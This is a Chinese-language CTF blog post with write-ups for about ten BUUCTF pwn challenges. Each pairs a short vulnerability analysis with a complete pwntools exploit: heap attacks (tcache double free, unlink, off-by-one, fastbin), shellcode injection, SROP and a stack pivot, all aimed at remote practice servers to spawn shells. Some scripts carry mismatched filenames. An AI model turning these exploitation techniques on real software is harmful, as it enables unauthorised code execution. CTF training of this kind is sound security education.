2021-09-13 BUUCTF PWN

8 篇文章 0 订阅

2021-09-13 BUUCTF PWN

ciscn_2019_final_3

0x00 题目分析

方式:
libc2.27题目

  1. 利用tcache机制申请超过0x400大小的堆泄露unsorted bin地址
  2. Double Free使fast bin单链表形成回环结构,任意写GOT地址数据

拖进IDA静态分析程序主功能逻辑,很简单的堆模板:
Pasted image 20210913171322.png
只有2个功能:

  1. 创建堆
  2. 释放堆

查看保护情况:

[*] '/root/ciscn_final_3'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

保护全开,题目的提示Ubuntu18+libc是2.27版本,可联想到unsorted bin的新特性
必须申请超过0x400大小的堆才能产生unsorted bin地址

同时释放堆时未堆清空,会造成堆叠的情况
Pasted image 20210913171553.png

创建堆后会给出堆的地址;
Pasted image 20210913171651.png

0x02 利用思路

WP提示:
利用Libc2.27的tache机制,并且可直接double free的特性

整体思路:

  1. 泄露Unsorted bin地址,计算libc基地址
    1. 申请到超过 0x400 大小(libc2.27的tcache特性)
  2. Double Free List(DUP),使堆块形成双链回环
    1. 修改malloc_hook为onegadget

Double Free也类似与fast bin dup
在lib2.27中,可直接double free,导致tcache bin的next指针(fd指针)指向了自己(回环)

0x02 EXP

from pwn import *

io=remote('node4.buuoj.cn',27848)
libc=ELF('./x64/libc.so.6')

def add(idx,size,data):
    io.recvuntil('choice > ')
    io.sendline('1')
    io.recvuntil('the index')
    io.sendline(str(idx))
    io.recvuntil('the size')
    io.sendline(str(size))
    io.recvuntil('something')
    io.sendline(data)
    io.recvuntil('gift :')
    return int(io.recvline()[2:],16)

def free(idx):
    io.recvuntil('choice > ')
    io.sendline('2')
    io.recvuntil('the index')
    io.sendline(str(idx))   

heap=add(0,0x78,'a')#0
print(hex(heap))
add(1,0x18,'b')#1
add(2,0x78,'c')#2
add(3,0x78,'d')#3 
add(4,0x78,'c')#4
add(5,0x78,'d')#5 
add(6,0x78,'c')#6
add(7,0x78,'d')#7 
add(8,0x78,'c')#8
add(9,0x78,'d')#9 
add(10,0x78,'c')#10
add(11,0x78,'d')#11
add(12,0x28,'d')#12
#dup double free
free(12)
free(12)
add(13,0x28,p64(heap-0x10))#4 修改为chunk0 size的地址
add(14,0x28,p64(heap-0x10))#5
add(15,0x28,p64(0)+p64(0x421))#get chunk0->size,size需要超过0x400才能进unsortbin

#overlap
free(0) #unsort_bin chunk0->fd=libc
free(1) #tcache
add(16,0x78,'e')#7  从unsortbin分下一块,后面依然在unsortbin里 chunk1->fd=libc
add(17,0x18,'f')#8  get chunk1
libc_base=add(18,0x18,'g')-0x3ebca0#9   get libc
malloc_hook=libc_base+libc.sym['__malloc_hook']
one_gadget=libc_base+0x10a38c
print(hex(libc_base),hex(malloc_hook))

#dup
free(5)
free(5)
add(19,0x78,p64(malloc_hook))
add(20,0x78,p64(malloc_hook))
add(21,0x78,p64(one_gadget))
#getshell
io.sendline('1')
io.sendline('22')
io.sendline('0;cat flag')

io.interactive()


hitcon2014_stkof

0x00 题目分析

方式:

  1. 堆溢出unlink
  2. 任意写GOT数据

拖进IDA查看程序基本的逻辑:
很明显的堆题模板
Pasted image 20210913165142.png

查看一下保护情况:

[*] '/root/stkof'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

可以修改GOT,同时PIE未开启,这表明了我们可以更加简单去利用漏洞

堆题先看看有没有堆溢出漏洞
仔细分析,很明显在edit_note可以发现任意长度写的堆溢出漏洞
Pasted image 20210913165258.png

0x01 利用思路

漏洞、特征分析:

  1. 堆溢出,任意长度读入,典型的漏洞
  2. 没有输出

整体思路

  1. 考虑堆溢出、unlink,修改got表
  2. 先把free_got改puts,泄露libc地址计算shell函数地址
  3. 把free got改system/onegadget

可以清晰看到,unlink堆块3后,堆块1、2的内容地址被改写为伪造的fd与bk
Pasted image 20210913165826.png

0x02 EXP

from pwn import *
context.log_level="debug"
context.arch="amd64"
name="/root/stkof"
p=remote("node4.buuoj.cn",27015)
libc=ELF("./x64/libc-2.23_buuctf.so")
#p=process(name)#

elf=ELF(name)

def create(size):
    p.sendline('1')
    p.sendline(str(size))


def edit(idx,len,content):
    p.sendline('2')
    p.sendline(str(idx))
    p.sendline(str(len))
    p.send(content)
def free(idx):
    p.sendline('3')
    p.sendline(str(idx))

ptr=0x0000000000602150
fd=ptr-0x18
bk=ptr-0x10

create(0x80)#1
create(0x30)#2
create(0x80)#3
create(0x80)#4



fakechunk=p64(0x0)+p64(0x31)+p64(fd)+p64(bk)+p64(0)+p64(0)+p64(0x30)+p64(0x90)
edit(2,0x40,fakechunk)

free(3)#unlink


free_got = elf.got['free']
atoi_got = elf.got['atoi']
puts_got = elf.got["puts"]
puts_plt = elf.symbols['puts']

py1 = b''
py1 += p64(0) 

py1 +=p64(atoi_got) + p64(puts_got) #fake chunk0 and 1
py1+= p64(free_got)#fake chunk 2 wait pointers
edit(2,len(py1),py1)## edit heap original datas

py1 = b''
py1+= p64(puts_plt)
edit(2,len(py1),py1)## edit heap original datas
pause()

free(1)


leak=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))#从倒数6到最后\x7f

log.success("leak => {}".format(leak))
libc_base=leak-libc.sym["puts"]
one_gadget=libc_base+0x4526a


py1 = b''
py1+= p64(one_gadget)
edit(0,len(py1),py1)## hijack atoi



#pause()
p.interactive()


hitcontraining_heapcreator

0x00 题目分析

方式:

  1. Offbyone套路修改size导致堆叠泄露unsorted bin地址
  2. 堆叠修改堆指针为GOT,任意写GOT为system地址Getshell

拖进IDA静态分析,主功能很清晰,一个堆题模板:
Pasted image 20210913164243.png

查看一下保护情况:

[*] '/root/heapcreator'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)


可以发现GOT是可写的,同时PIE未开启,那说明我们利用的方式会更加简单

按照堆题套路,一般是先找有没有堆溢出的漏洞,很明显在edit_note函数可以发现off by one的漏洞
Pasted image 20210913164417.png

0x01 利用思路

这道题堆结构特征是一创建2个堆

  1. 长度地址
  2. 内容地址

堆题多做,多见见,多调试调试,慢慢就明白了,别急,一步步来

整体思路:

  1. 结合off by one套路改size位,堆叠
  2. 堆叠后泄露got地址,改got
    1. 利用该题特征,可直接堆溢出改写内容地址为GOT实现任意地址写

Off By One套路:

通常,会申请0x18,结合off by one的漏洞,可将溢出写到size位
然后释放,再申请,就成功堆叠后门的堆块

0x02 EXP

from pwn import *
context.log_level="debug"
context.arch="amd64"
name="/root/heapcreator"
p=remote("node4.buuoj.cn",29714)
libc=ELF("./x64/libc-2.23_buuctf.so")
#p=process(name)#

elf=ELF(name)

def create(size, content):
    p.recvuntil('Your choice :')
    p.sendline('1')
    p.recvuntil('Size of Heap : ')
    p.sendline(str(size))
    p.recvuntil('Content of heap:')
    p.send(content)

def edit(idx,content):
    p.recvuntil('Your choice :')
    p.sendline('2')
    p.recvuntil("Index :")
    p.sendline(str(idx))

    p.recvuntil('Content of heap : ')
    p.send(content)
def show(idx):
    p.recvuntil('Your choice :')
    p.sendline('3')
    p.recvuntil("Index :")
    p.sendline(str(idx))

def delete(idx):
    p.recvuntil('Your choice :')
    p.sendline('4')
    p.recvuntil("Index :")
    p.sendline(str(idx))



create(0x18,b'aaa')#申请0x18,会溢出,实际是0x20,溢出1位会直接写到size位
create(0x10,b'bbb')
create(0x10,b'ccc')
create(0x10,b'sh\x00')

payload=b"a"*(0x18)+p8(0x81)#size位改写
edit(0,payload)

delete(1)

payload=b"a"*(0x40)+p64(0x8)+p64(elf.got["free"])#改chunk2内容、并且修改字符串指针
create(0x70,payload)#泄漏got

show(2)

p.recvuntil("Content : ")
leak=u64(p.recvuntil("Done")[:-5].ljust(8,b"\x00"))

libc_base=leak-libc.sym["free"]
system_addr=libc_base+libc.sym["system"]


edit(2,p64(system_addr))

delete(3)

#print("pid:"+str(p.pid))
#pause()
p.interactive()



0CTF-2017-BABYHEAP

0x00 题目分析

利用方式:

  1. 堆溢出制造堆叠泄露unsorted bin地址
  2. 利用fast bin attack任意写fd指针

拖进IDA静态分析查看,很明显的堆题模板:
Pasted image 20210913163311.png

先查看保护情况:

[*] '/root/babyheap_0ctf_2017'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

好家伙,全开,那我们必定是需要泄露libc地址

同时,一般堆题是以堆溢出为出发点,在修改内容功能发现堆溢出的漏洞(任意设定读入长度)
Pasted image 20210913163554.png

于是…开始动手吧~

0x01 利用思路

整体思路

  1. 堆溢出泄露libc(unsorted bin)地址
    1. 堆溢出修改size位,使程序堆叠,泄露unsorted bin地址
  2. Fast bin attack修改fd指针任意地址写
    1. 利用堆溢出任意写fd为malloc_hook-0x23
    2. 申请任意地址堆,任意写__malloc_hook间接getshell

疑问:
为什么要写malloc-0x23的地址?

目的是为了过malloc时的检查机制,会检查size位是否足够去申请新堆(合法)
同时malloc-0x23的数据是0x7f,刚好可以让我们申请一个0x60(0x70)的堆

0x02 EXP

第一部分
1.用堆溢出制造堆叠(overlap),导致堆1与堆2重叠(包含了系统的头部)
2.利用堆叠和程序输出功能,输出unsorted bins 地址(在堆2的header部分)

第二部分
3.利用泄漏的地址unsorted bins去偏移找到__malloc_hook地址
4.利用fast bin attack修改 fd 任意写__malloc_hook地址

#coding=utf-8
from pwn import *
context.log_level="debug"
context.arch="amd64"
context.terminal = ['tmux','splitw','-h']#cmd : tmux
isLocal=0

filename="/root/babyheap_0ctf_2017"
if  isLocal:
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
    p=process(filename)#,env={"LD_PRELOAD" : "/lib/x86_64-linux-gnu/ld-2.23.so"}
    pause()
else :
    p=remote("node4.buuoj.cn",28143)
    libc=ELF("./x64/libc-2.23_buuctf.so")

elf=ELF(filename)

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def bk(addr):
    gdb.attach(p,"b *"+str(hex(addr)))
def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))
    pause()


def malloc(size):
    ru("Command: ")
    sl('1')
    ru("Size: ")
    sl(str(size))

def free(index):
    ru("Command: ")
    sl('3')
    ru("Index: ")
    sl(str(index))

def edit(index,size,content):
    ru("Command: ")
    sl('2')
    ru("Index: ")
    sl(str(index))
    ru("Size: ")
    sl(str(size))
    ru("Content: ")
    sl(content)
def dump(index):
    ru("Command: ")
    sl('4')
    ru("Index: ")
    sl(str(index))




malloc(0x80)
malloc(0x80)
malloc(0x80)
malloc(0x80)

free(1)

#堆溢出
payload=b'a'*0x88+p64(0x121)
edit(0,len(payload),payload)#堆溢出 修改了堆1的 系统size区域
malloc(0x110)#重新申请0x110 申请回chunk1=0x110




payload=b'a'*0x88#堆溢出到下一块系统区域
payload+=p64(0x91)#堆溢出将chunk2改回了0x80(系统占用0x10+使用标志位0x01)
edit(1,len(payload),payload)


free(2)
#pause()#此时有unsorted bins了
dump(1)## show 1


leak_addr=p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")

malloc_hook=u64(leak_addr)-88-0x10#main_arena

print("format leak_unsorted_bins ==> {}".format((leak_addr)))





libc_base=malloc_hook-libc.symbols['__malloc_hook']
log.success("libc_base -> {}".format(hex(libc_base)))

#篡改malloc_hook实现shell

malloc(0x80) ## 重新申请回chunk2
malloc(0x60) ## 新堆chunk4
malloc(0x60) ## 新堆chunk5
free(5)## free 5

payload=b'a'*0x68 +p64(0x71)+p64(malloc_hook-0x23)
edit(4,len(payload),payload)#溢出写。将chunk5fd改写为自定义地址

malloc(0x60) #重新申请回chunk5
malloc(0x60) #新堆chunk6

if isLocal:
    one_gadget=libc_base+0x4527a
else:
    one_gadget=libc_base+0x4526a
payload=b'a'*0x13+p64(one_gadget)
edit(6,len(payload),payload)#更改malloc_hook的地址为One_gadget


malloc(0x10)
p.interactive()


N1BOOK-note

0x00 题目分析

方式:

  1. 利用libc2.27特性申请超过0x400大小生成unsorted bin地址并泄露
  2. (Fast bin Attack)通过Double Free List使fast bin 制造单链表回环结构导致任意写地址

拖进IDA静态分析一下主程序的逻辑:
Pasted image 20210913162210.png
一个典型的堆模板

  1. 创建内容
  2. 输出内容
  3. 删除内容
  4. 修改内容

同时 查看一下保护情况:

[*] '/root/note'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

可以修改GOT,但PIE是开启的。

我们假设利用后getshell的思路:

  1. 泄露libc基地址
  2. 改GOT表数据为getshell函数地址

但如何去泄露libc地址?进一步分析一下
程序没有什么明显的堆溢出漏洞,但是很明显在删除功能有一个漏洞
程序只将地址释放了,并没有清空堆地址,这样重新申请会导致堆叠(新堆利用了以前的地址)
Pasted image 20210913162513.png

同时题目提示的环境是libc 2.272,在libc2.27下堆的unsorted bin有一个新特性

  • 必须当堆申请的空间超过0x400(1024)时才会产生unsorted bin

那么我们就必须要申请一个超过0x400大小的堆块去泄露unsorted bin地址

具体的利用思路↓

0x01 利用思路

整体思路:

  1. 利用程序释放逻辑漏洞泄露unsorted bin地址
  2. 构造fast bin attack
    1. 利用Double Free List制造单链回环结构使任意指针地址数据改写
      1. 任意写__free_hook

0x02 EXP

#coding=utf-8
from pwn import *


context.log_level="debug"
context.arch="amd64"

isLocal=1

filename="/root/note"
if  isLocal:#7 - libc6_2.23-0ubuntu11.3_i386
    p=process(filename,env={"LD_PRELOAD" : "/root/exp/buuctf/x64/libc-2.272.so"})

else :
    p=remote("node4.buuoj.cn",25304)

elf=ELF(filename)

def create(size,content):
    p.recvuntil('choice>>')
    p.sendline('1')
    p.recvuntil(':')
    p.sendline(str(size))
    p.recvuntil(':')
    p.send(content)

def print(idx):
    p.recvuntil('choice>>')
    p.sendline('2')
    p.recvuntil(':')
    p.sendline(str(idx))

def edit(idx,content):
    p.recvuntil('choice>>')
    p.sendline('3')
    p.recvuntil(':')
    p.sendline(str(idx))
    p.send(content)

def free(idx):
    p.recvuntil('choice>>')
    p.sendline('4')
    p.recvuntil(':')
    p.sendline(str(idx))

create(0x30,b'aaa\n')#0
create(0x30,b'bbb\n')#1
create(0x450,b'xxxx\n')#2
create(0x30,b"/bin/sh\n")#3

free(2)
print(2)

leak_ub=u64(p.recv(6).ljust(8,b"\x00"))

libc_base = leak_ub - 0x3ebca0
free_hook = libc_base +4118760
system = libc_base+324672

#double free list 典型的利用方法 制造单链回环结构
free(0)
free(1)
free(0)
edit(0,p64(free_hook)+b'\n')
create(0x30,p64(system)+b'\n')
create(0x30,p64(system)+b'\n')
free(3)

ciscn_s_9

0x00 题目分析

分析程序逻辑,非常明显可以看到fgets是有栈溢出的漏洞
Pasted image 20210913151950.png

同时有一个Hint函数:
Pasted image 20210913152008.png

暗示我们要jmp esp?看看保护情况

[*] '/root/ciscn_s_9'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

NX未开启,可任意执行代码

于是…你可以↓

0x01 利用思路

整体思路

  1. 制造shellcode
  2. 栈溢出rop移动esp位置实现任意代码执行
  • sub 可前移
  • jmp 可跳转ASM代码段

0x02 EXP

#coding:utf8
from pwn import *
context.log_level="debug"
context.arch="i386"
context.os="linux"
name="/root/ciscn_s_9"
p = remote("node4.buuoj.cn",27594)#process(name)#remote("node4.buuoj.cn",25045)#
elf=ELF(name)
shellcode=asm("xor ecx,ecx;xor edx,edx;push edx;push 0x68732f6e;push 0x69622f2f;mov ebx,esp;mov eax,11;int 0x80")

print("len"+str(len(shellcode)))

sub_esp=asm('sub esp,40;jmp esp;')#前移堆栈,并跳入(jmp esp,eip=esp)
jmp_esp_gadget=0x08048554

shellcode=shellcode.ljust(0x24,b"\x90")
payload=shellcode+p32(jmp_esp_gadget)+sub_esp#先跳入esp,再执行sub_esp,再移动esp跳入esp执行shellcode
p.sendline(payload)

p.interactive()

ciscn_2019_es_7

0x00 题目分析

分析程序流程,很容易发现在vuln函数存在栈溢出漏洞
读入了1024字节到数组长度为16的变量上
Pasted image 20210913151452.png

同时发现一个额外未调用的后门函数
mov rax,15
意思是将返回值设置为15,但在syscall中,是[[SROP]]利用的标注
Pasted image 20210913151541.png

SROP:
Pasted image 20210906152251.png
32 位的 sigreturn 的调用号为 77,64 位的系统调用号为 15。
其中,sigreturn是一个系统调用,在类 unix 系统发生 signal 的时候会被间接地调用。

首先,我们假设攻击者可以控制用户进程的栈,那么它就可以伪造一个 Signal Frame,如下图所示,这里以 64 位为例子,给出 Signal Frame 更加详细的信息

Pasted image 20210906152411.png

当系统执行完 sigreturn 系统调用之后,会执行一系列的 pop 指令以便于恢复相应寄存器的值,当执行到 rip 时,就会将程序执行流指向 syscall 地址,根据相应寄存器的值,此时,便会得到一个 shell。

具体原理可以查看资料:https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop/

通俗用我自己理解的话来讲,就是你控制了程序的栈(栈溢出后)
使得Signal Frame可以被任意篡改,在执行Signal时,系统会用pop恢复传入Signal Frame的参数以便于恢复程序自身寄存器的值(包括了RIP),这时我们就相当于控制了程序流了。

目前在pwntools中,已经集合了SROP的使用方法,使该漏洞利用的非常的简单。

相关例题:ciscn_2019_s_3

0x01 利用思路

模型识别:[[SROP]]

栈溢出后构造srop

整体思路:

  1. 泄露ebp计算/bin/sh地址
  2. srop套路修改控制程序流

0x02 EXP

from pwn import *
context.log_level="debug"
context.arch="amd64"
name="/root/ciscn_2019_n_5"
p = remote("node4.buuoj.cn",27523)



srop_mov_rax_15gadget=0x0000000004004DA
syscall_gadget=0x000000000400517
main_addr=0x4004F1

payload=b"/bin/sh\x00"*2+p64(main_addr)
p.send(payload)

leak=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))





s=SigreturnFrame()
s.rax = 59
s.rdi = leak-280
s.rsi = 0
s.rdx = 0
s.rip=syscall_gadget


payload=b"/bin/sh\x00"*2+p64(main_addr)
payload+=p64(srop_mov_rax_15gadget)#set rax=15 srop
payload+=p64(syscall_gadget)+bytes(s)
p.send(payload)

p.interactive()

wustctf2020_closed

0x00 题目分析

程序逻辑非常清晰明了:
Pasted image 20210913151027.png

目的:

  1. 关闭fd为1、2的管道,getshell

这边插播介绍一下fd

fd解释
0输入流
1输出流
2错误流
3+文件号/自定义

意思就是关闭了输出、错误流,在实际调试中,我们也发现,可以正常输入,但是并没有回显任何内容。

这边有个新知识:
linux命令:重定向fd(输入号改为输出号)

exec 1>&0

0x01 利用思路

因为0是没有关闭的,将输入与输出流合并在一起,就可以实现两项功能。

0x02 EXP

#coding=utf-8
from pwn import *
context.log_level="debug"
context.arch="amd64"

isLocal=0

filename="/root/roarctf_2019_easy_pwn"
if  isLocal:
    libc=ELF("./x64/libc-2.23_buuctf.so")
    p=process(filename,env={"LD_PRELOAD" : "./x64/libc-2.23_buuctf.so;./libc-2.23_buuctf.so"})
  
else :
    p=remote("node4.buuoj.cn",29917)
    libc=ELF("./x64/libc-2.23_buuctf.so")


p.sendline(b"exec 1>&0")
p.interactive()

pwnable_start

0x01 题目分析

拖进IDA看,程序的代码非常简短,主逻辑
Pasted image 20210913114957.png

主要的逻辑:

  1. 会调用sys_write函数输出esp的值
    1. esp的值就是push的值,一段段翻译成字符串就是Let's start the CTF:
  2. 随后是一个并不成型的命令
    1. 将ebx清空
    2. dl=0x3c(60)
    3. al=3
    4. sys_call
    5. esp移动位置+0x14(20)

在动态调试后,我们可以看到esp+0x14h,就是返回地址
利用这个特性,我们可以猜想可以使用shellcode跳转,泄露esp地址,将shellcode写到栈上,再返回到栈地址上

保护情况:

root@ubuntu:~## pwn checksec start
[*] '/root/start'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)

很明显,NX未开启,是可以任意执行shellcode的。
动手!

0x01 利用思路

整体思路:

  1. 通过ROP返回到mov ecx, esp处泄露esp地址
  2. 传入shellcode,ROP返回到栈上的shellcode代码开始地址。

x86_32下的shell(与x64不同)

execve(path='/bin///sh', 0, envp=0)

翻译成asm代码:


xor ecx,ecx;     #ecx设置为0
xor edx,edx;	#edx设置为0
push edx;		#将edx的值压入栈
push 0x0068732f;
push 0x6e69622f;
mov ebx,esp;    #将ebx设置为’/bin/sh‘的16进制 
mov eax,11;    #eax设置为0xb,调用execve
int 0x80


int 0x80约等于syscall(是x86的独有sys_call风格)
eax是调用号
ebx是调用参数
ecx、edx为0(对应argv、env)



0x02 EXP

#coding=utf-8
from pwn import *


context.log_level="debug"
context.arch="i386"

isLocal=0

filename="/root/start"
if  isLocal:#7 - libc6_2.23-0ubuntu11.3_i386
    p=process(filename)#,env={"LD_PRELOAD" : "/lib/x86_64-linux-gnu/ld-2.23.so"}
    pause()
else :
    p=remote("node4.buuoj.cn",27125)

elf=ELF(filename)


#泄露stack地址
shellcode=asm(
"xor ecx,ecx;xor edx,edx;push edx;push 0x68732f6e;push 0x69622f2f;mov ebx,esp;mov eax,11;int 0x80")

print("len"+str(len(shellcode)))

p.send(b"a"*20+p32(0x08048087))

p.recvuntil(b"CTF:")
leak_stack=u32(p.recv(4))

print(hex(leak_stack))


#相当于jmp stack执行shellcode,任意执行代码
p.send(b"a"*20+p32(leak_stack+20)+shellcode)

p.interactive()

ciscn_s_4

0x00 题目分析

拖进IDA静态分析
vuln函数,存在栈溢出的漏洞:
Pasted image 20210913114037.png

hack函数(未调用)存在一个system的后门调用
Pasted image 20210913114100.png

很快的,你可能会有这样的思路:

  • 栈溢出返回到hack函数getshell

但是实际去调试会发现,溢出的空间不算ebp仅仅只有4字节,完全不够我们利用ROP

怎么办呢?我们可以利用将rop的payload写到溢出空间前,溢出时跳转到溢出空间前的地址
如何实现?
——这种技术叫做[[栈迁移]]
介绍一下大概的利用思路:

  1. 通过泄露ebp地址,固定计算payload存放地址的偏移位置
  2. 利用leave的特性,移动rsp地址,并跳转程序指令流到rsp

具体原理可以在我以前的文章搜索,这边只做简单介绍。

0x01 利用思路

熟悉的坑 不掉第二次啦~
整体思路:

  1. 泄露ebp去计算payload地址
  2. 构造ROP的payload、制造栈迁移,修复栈getshell

0x02 EXP

动态调试时注意的点:

  1. 必须要填充ebp前的位置,程序才会输出ebp的地址(防止遇\x00截断)
  2. 注意构造payload填充时,不要把换行填进去(习惯)\x0a \n
  3. leave的特性往往会跳转到地址+4的代码
#coding:utf8
from pwn import *
context.log_level="debug"
context.arch="i386"
context.os="linux"
name="/root/ciscn_s_4"
p = remote("node4.buuoj.cn",25045)#process(name)#remote("node4.buuoj.cn",25045)#
elf=ELF(name)

#
system_addr=elf.plt["system"]#0x08048559
leave_gadget=0x080484b8## : leave ; ret
ret_nop=0x080483a6## : ret
main_addr=0x804862A#elf.sym["main"]

payload=b"a"*(0x20)+b"bbbbbbbb"#必须填充ebp才会输出ebp

p.sendafter(b"?",payload)#注意换行\x0a算1字节 会覆盖ebp1字节 掉了很多次坑了。。
p.recvuntil("bbbbbbbb")
leak_ebp=u32(p.recv(4))

print("leakebp => {}".format(hex(leak_ebp)))
pause()
sleep(0.5)
payload=(b'a'*8+p32(leak_ebp-0x24)+b'bbbb'+p32(system_addr)+b'cccc'+p32(leak_ebp-0x1c)+b'/bin/sh\x00').ljust(0x28,b'p')
payload+=p32(leak_ebp-0x2c)+p32(leave_gadget)

p.send(payload)


p.interactive()

others_babystack

0x00 题目分析

拖进IDA静态分析,分析main的逻辑
Pasted image 20210913113546.png

功能逻辑:

  1. 输出
  2. 读一个0x100(溢出)的长度数据到变量s
  3. 返回

查看一下保护情况:

[*] '/root/babystack'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

结合上述,主要利用的思路:

  1. 先泄露canary值,以便过栈溢出检查
  2. ROP,泄露Libc地址,getshell

0x01 利用思路

整体思路:

  1. 栈溢出ROP
    1. 泄露canary值
    2. rop泄露libc地址
    3. rop返回到OneGadget地址

注意的点:

  • 在填充ROP中,可以使用ret;单个gadget片段去填充,不执行任何代码但填充溢出空间(相当于nop)

0x02 EXP

#coding=utf-8
from pwn import *
context.log_level="debug"
context.arch="amd64"

isLocal=0

filename="/root/babystack"
if  isLocal:
    p=process(filename)#

    
else :
    p=remote("node4.buuoj.cn",29843)

elf=ELF(filename)
libc=ELF("./x64/libc-2.23_buuctf.so")




pop_rdi=0x0000000000400993 #: pop rdi ; ret


puts_plt = elf.plt['puts']
read_got = elf.got['read']
main_addr = 0x0000000000400908#elf.sym['main']
pop_rdi_ret=0x0000000000400a93#: pop rdi ; ret
ret_gadget=0x000000000040067e #: ret


payload = b'a' * 135+b"F"#利用溢出刚好Puts canary值+做个标记指





#step1 : leak gs
p.sendlineafter(b'>> ',b'1')
p.sendline(payload)
p.sendlineafter(b'>> ',b'2')

p.recvuntil(b'F\x0a')
canary=p.recv(7).rjust(8,"\x00")
#print("canary => "+canary)


#step2:leaklibc
payload = b'a' * 135+b"F"#利用溢出刚好Puts canary值+做个标记指
payload+=canary
payload+=p64(ret_gadget)#约等于nop
payload +=p64(pop_rdi_ret)+p64(read_got) #赋值参数
payload+=p64(puts_plt)
payload+=p64(main_addr)#fix rop返回地址在这(调用puts的rbp是返回地址)

p.sendlineafter(b'>> ',b'1')
p.sendline(payload)
p.sendlineafter(b'>> ',b'3')


read_addr=u64(p.recv(6).ljust(8,b"\x00"))#0 padding (right padding 0) !!!! 


print(b"leadaddr:"+str(read_addr).encode())


libc_base = read_addr -  libc.sym['read']

print("base:"+hex(libc_base))
one_gadget=libc_base+0x4526a

#step3:getshell
payload = b'a' * 135+b"F"#利用溢出刚好Puts canary值+做个标记指

payload+=canary
payload+=p64(ret_gadget)#约等于nop
payload +=p64(ret_gadget)+p64(ret_gadget) #修复堆栈填充
payload +=p64(one_gadget)
payload+=p64(main_addr)#fix rop返回地址在这(调用puts的rbp是返回地址)

p.sendlineafter(b'>> ',b'1')
p.sendline(payload)
p.sendlineafter(b'>> ',b'3')
p.interactive()

## ubuntu 16 : libc2.23 easygame~
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值